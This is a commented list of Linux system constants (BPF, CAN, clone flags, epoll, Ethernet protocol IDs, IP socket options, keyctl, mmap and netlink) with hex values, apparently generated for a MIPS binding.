-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x80
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x2000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x21
-- F_GETLK64 = 0x21
-- F_GETOWN = 0x17
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x22
-- F_SETLK64 = 0x22
-- F_SETLKW = 0x23
-- F_SETLKW64 = 0x23
-- F_SETOWN = 0x18
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x100
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x80
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x800
-- MAP_ANONYMOUS = 0x800
-- MAP_DENYWRITE = 0x2000
-- MAP_EXECUTABLE = 0x4000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x1000
-- MAP_HUGETLB = 0x80000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x8000
-- MAP_NONBLOCK = 0x20000
-- MAP_NORESERVE = 0x400
-- MAP_POPULATE = 0x10000
-- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x800
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x40000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
